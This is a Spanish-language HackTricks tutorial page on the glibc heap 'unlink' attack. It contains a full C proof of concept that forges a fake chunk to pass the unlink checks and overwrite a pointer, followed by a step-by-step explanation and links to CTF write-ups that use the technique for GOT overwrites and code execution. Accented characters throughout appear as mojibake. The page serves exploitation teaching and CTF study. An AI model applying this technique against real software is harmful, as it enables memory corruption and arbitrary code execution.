Unlink Attack

Reading time: 7 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Informaci贸n B谩sica

Cuando se descubri贸 este ataque, principalmente permit铆a un WWW (Write What Where), sin embargo, se agregaron algunas verificaciones que hicieron que la nueva versi贸n del ataque fuera m谩s interesante, m谩s compleja y in煤til.

Ejemplo de C贸digo:

C贸digo
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10];               // padding
};

int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0;
}

  • El ataque no funciona si se utilizan tcaches (despu茅s de 2.26)

Objetivo

Este ataque permite cambiar un puntero a un chunk para apuntar 3 direcciones antes de s铆 mismo. Si esta nueva ubicaci贸n (alrededores de donde estaba el puntero) tiene cosas interesantes, como otras asignaciones controlables / stack..., es posible leer/sobrescribirlas para causar un da帽o mayor.

  • Si este puntero estaba ubicado en la pila, porque ahora apunta 3 direcciones antes de s铆 mismo y el usuario potencialmente puede leerlo y modificarlo, ser谩 posible filtrar informaci贸n sensible de la pila o incluso modificar la direcci贸n de retorno (quiz谩s) sin tocar el canario.
  • En ejemplos de CTF, este puntero est谩 ubicado en un array de punteros a otras asignaciones, por lo tanto, al hacer que apunte 3 direcciones antes y poder leer y escribir en 茅l, es posible hacer que los otros punteros apunten a otras direcciones.
    Como potencialmente el usuario puede leer/escribir tambi茅n las otras asignaciones, puede filtrar informaci贸n o sobrescribir nuevas direcciones en ubicaciones arbitrarias (como en el GOT).

Requisitos

  • Alg煤n control en una memoria (por ejemplo, pila) para crear un par de chunks dando valores a algunos de los atributos.
  • Fuga de pila para poder establecer los punteros del chunk falso.

Ataque

  • Hay un par de chunks (chunk1 y chunk2)
  • El atacante controla el contenido de chunk1 y los encabezados de chunk2.
  • En chunk1, el atacante crea la estructura de un chunk falso:
  • Para eludir las protecciones, se asegura de que el campo size sea correcto para evitar el error: corrupted size vs. prev_size while consolidating
  • y los campos fd y bk del chunk falso apuntan a donde se almacena el puntero de chunk1 con desplazamientos de -3 y -2 respectivamente, por lo que fake_chunk->fd->bk y fake_chunk->bk->fd apuntan a la posici贸n en memoria (pila) donde se encuentra la direcci贸n real de chunk1:

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

  • Los encabezados de chunk2 se modifican para indicar que el chunk anterior no est谩 en uso y que el tama帽o es el tama帽o del chunk falso contenido.
  • Cuando se libera el segundo chunk, este chunk falso se desvincula ocurriendo:
  • fake_chunk->fd->bk = fake_chunk->bk
  • fake_chunk->bk->fd = fake_chunk->fd
  • Anteriormente se hizo que fake_chunk->fd->bk y fake_chunk->bk->fd apuntaran al mismo lugar (la ubicaci贸n en la pila donde se almacen贸 chunk1, por lo que era una lista enlazada v谩lida). Como ambos apuntan a la misma ubicaci贸n, solo el 煤ltimo (fake_chunk->bk->fd = fake_chunk->fd) tendr谩 efecto.
  • Esto sobrescribir谩 el puntero a chunk1 en la pila con la direcci贸n (o bytes) almacenados 3 direcciones antes en la pila.
  • Por lo tanto, si un atacante pudiera controlar nuevamente el contenido de chunk1, podr谩 escribir dentro de la pila, pudiendo potencialmente sobrescribir la direcci贸n de retorno salt谩ndose el canario y modificar los valores y puntos de las variables locales. Incluso modificando nuevamente la direcci贸n de chunk1 almacenada en la pila a una ubicaci贸n diferente donde, si el atacante pudiera controlar nuevamente el contenido de chunk1, podr谩 escribir en cualquier lugar.
  • Tenga en cuenta que esto fue posible porque las direcciones se almacenan en la pila. El riesgo y la explotaci贸n pueden depender de d贸nde se almacenan las direcciones del chunk falso.

https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit

Referencias

  • https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
  • Aunque ser铆a extra帽o encontrar un ataque de desvinculaci贸n incluso en un CTF, aqu铆 tienes algunos informes donde se utiliz贸 este ataque:
  • Ejemplo de CTF: https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html
  • En este ejemplo, en lugar de la pila, hay un array de direcciones malloc'ed. Se realiza el ataque de desvinculaci贸n para poder asignar un chunk aqu铆, por lo tanto, pudiendo controlar los punteros del array de direcciones malloc'ed. Luego, hay otra funcionalidad que permite modificar el contenido de los chunks en estas direcciones, lo que permite apuntar direcciones al GOT, modificar direcciones de funciones para obtener fugas y RCE.
  • Otro ejemplo de CTF: https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html
  • Al igual que en el ejemplo anterior, hay un array de direcciones de asignaciones. Es posible realizar un ataque de desvinculaci贸n para hacer que la direcci贸n de la primera asignaci贸n apunte a unas pocas posiciones antes de comenzar el array y sobrescribir esta asignaci贸n en la nueva posici贸n. Por lo tanto, es posible sobrescribir punteros de otras asignaciones para apuntar al GOT de atoi, imprimirlo para obtener una fuga de libc y luego sobrescribir el GOT de atoi con la direcci贸n de un gadget.
  • Ejemplo de CTF con funciones de malloc y free personalizadas que abusan de una vulnerabilidad muy similar al ataque de desvinculaci贸n: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html
  • Hay un desbordamiento que permite controlar los punteros FD y BK de malloc personalizado que ser谩n (personalizados) liberados. Adem谩s, el heap tiene el bit de ejecuci贸n, por lo que es posible filtrar una direcci贸n de heap y apuntar una funci贸n del GOT a un chunk de heap con un shellcode para ejecutar.

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks